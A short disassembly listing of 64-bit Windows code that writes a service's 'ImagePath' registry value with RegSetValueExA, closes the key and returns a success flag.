mov rcx, qword [rsp + 0xa0]
call fcn.140006b90
mov dword [rsp + 0x40], eax
mov rcx, qword [rsp + 0xa0]
call fcn.140007000
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140003ec7
mov byte [rsp + 0x38], 0
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x38]
jmp 0x140003f00
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x140003ee0
mov dword [rsp + 0x3c], 1
jmp 0x140003ee8
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x39], al
lea rcx, [rsp + 0x68]
call fcn.1400071d0
movzx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140015f00
add rsp, 0x98
ret